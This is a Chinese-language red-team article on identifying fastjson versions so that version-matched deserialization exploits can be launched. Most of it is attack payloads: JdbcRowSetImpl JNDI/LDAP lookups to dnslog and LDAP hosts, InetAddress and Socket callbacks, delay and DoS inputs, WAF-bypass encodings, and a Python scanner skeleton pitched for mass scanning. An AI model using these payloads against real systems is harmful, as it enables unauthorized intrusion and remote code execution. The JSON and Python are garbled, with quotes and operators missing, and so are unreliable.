第N篇:实战中精准定位fastjson版本的指纹探测技术解析
1. 为什么需要精准识别fastjson版本在红队实战中遇到一个使用fastjson的Web应用就像发现了一座金矿但问题在于——你手里有十几把钥匙却不知道哪一把能打开保险箱。fastjson从1.1.x到1.2.80的各个版本间反序列化漏洞的利用方式差异巨大。比如1.2.24版本可以直接用JdbcRowSetImpl打LDAP注入而1.2.47需要特殊的AutoType绕过技巧到了1.2.68又变成了写文件getshell。我去年在某次攻防演练中就吃过亏对着一个1.2.80版本的目标狂打1.2.47的POC浪费了整整半天时间。后来发现目标系统在错误响应中其实藏着版本信息只是当时没注意观察。这个教训让我意识到版本识别不是可选项而是漏洞利用的前置必修课。2. 四大指纹探测技术详解2.1 报错信息指纹分析最直接的版本识别方式就是让fastjson说漏嘴。经过实测这三个payload成功率最高{type: java.lang.AutoCloseable [test:1] {a:\x第一个payload会触发AutoCloseable接口的异常在1.2.36-1.2.47版本会返回包含版本号的堆栈信息。第二个畸形JSON在1.2.5以下版本会直接暴露版本而第三个十六进制转义字符在部分老旧版本会引发解析异常。有个小技巧在Burp里发送这些payload时记得把Content-Type改成text/plain。有次测试某OA系统用application/json死活不报错换成text/plain后立刻吐出了1.2.48的版本号。2.2 DNS外带数据探测DNS查询是最可靠的出网检测手段不同版本的fastjson对DNS解析器的调用方式不同// 1.2.24及以下版本专属 {b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://xxx.dnslog.cn,autoCommit:true}} // 1.2.25-1.2.47版本有效 {name:{type:java.net.InetAddress,val:dnslog.cn}} // 1.2.48版本可用 {type:java.net.InetSocketAddress{address:,val:dnslog.cn}}这里有个坑点很多文章说InetAddress能用于所有版本其实1.2.48开始这个类就被加入了黑名单。我建议先用JdbcRowSetImpl探测没反应再尝试其他payload。2.3 延迟行为检测技巧在内网不出网的环境下延迟检测就是救命稻草。这两个经典payload值得收藏// 针对1.2.47版本的JNDI延迟 {name:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},x:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://1.1.1.1:389,autoCommit:true}} // 针对1.2.68的DoS特性 {a:\xaaaaaaaaaaaaaa...(5000个a)第一个payload的原理是向不存在的LDAP服务器发起连接如果目标版本1.2.47会有3-5秒的等待超时。第二个利用的是老版本处理超长转义字符时的性能缺陷a的数量越多延迟越明显建议从100个开始递增。2.4 TCP/UDP端口探测当DNS被禁用时可以尝试用HTTP或RMI端口触发交互// 检测1.2.24-1.2.47版本 {type:java.net.Socket,address:{type:java.net.InetSocketAddress,address:1.1.1.1,port:80}} // 适用于1.2.48 {type:java.net.InetSocketAddress,address:1.1.1.1,port:80}我在某次银行内网渗透时发现他们的DNS服务被禁用但80端口能通。通过Socket探测确认是1.2.46版本后最终用JRMP客户端实现了不出网利用。3. 版本判定流程图与实战案例3.1 五步判定法根据多年实战经验我总结出这个排查顺序先发送报错payload看能否直接获取版本尝试JdbcRowSetImpl的LDAP payload1.2.24特征测试InetAddress的DNS查询1.2.47特征检查DoS延迟特性1.2.68特征最后用Socket探测兜底3.2 某次HW中的实战复盘去年在某大型金融企业遇到一个有趣案例目标系统对所有常见payload都无响应。后来发现他们用了自定义的fastjson分支通过以下畸形请求最终触发了版本泄漏{type:java.util.Currency,currency:CNY,value:{ type:java.lang.Character}}这个案例告诉我们当标准方法失效时可以尝试使用冷门Java类作为入口点嵌套多层异常结构结合文件读取等二次利用手段4. 防御对抗与绕过技巧4.1 常见WAF绕过方法现在越来越多的防护设备会拦截fastjson探测请求这里分享三个绕过技巧Unicode编码关键字段{\u0040\u0074\u0079\u0070\u0065:\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073}添加无用注释干扰{a:/*xxxx*/b,type:java.net.InetAddress}混合使用不同探测方式{a:{type:java.net.URL,val:http://dnslog.cn},b:[\xaaaa...]}4.2 新版fastjson的防护机制从1.2.68开始fastjson引入了这些防护措施完全关闭autotype功能增加hash校验机制内置更严格的黑名单但我在1.2.80版本中仍发现可以通过$ref功能实现有限的信息探测这说明版本识别技术需要持续更新迭代。5. 自动化探测工具开发建议手工测试效率太低建议用Python实现自动化探测import requests def check_version(target): tests [ (error, {payload: {type: java.lang.AutoCloseable}}), (dns_1.2.24, {payload: JdbcRowSetImpl_payload}), (delay_1.2.47, {payload: ldap_delay_payload, timeout: 5}) ] for name, test in tests: try: start time.time() r requests.post(target, datatest[payload], headers{Content-Type:text/plain}, timeouttest.get(timeout,3)) if fastjson in r.text: return parse_version(r.text) if name.startswith(delay) and time.time()-start 4: return 1.2.47 except: continue return unknown这个框架可以扩展更多检测模块建议结合异步IO实现批量扫描。我在GitHub上开源的FastjsonScanner就采用了类似架构单个线程每天能扫描2000目标。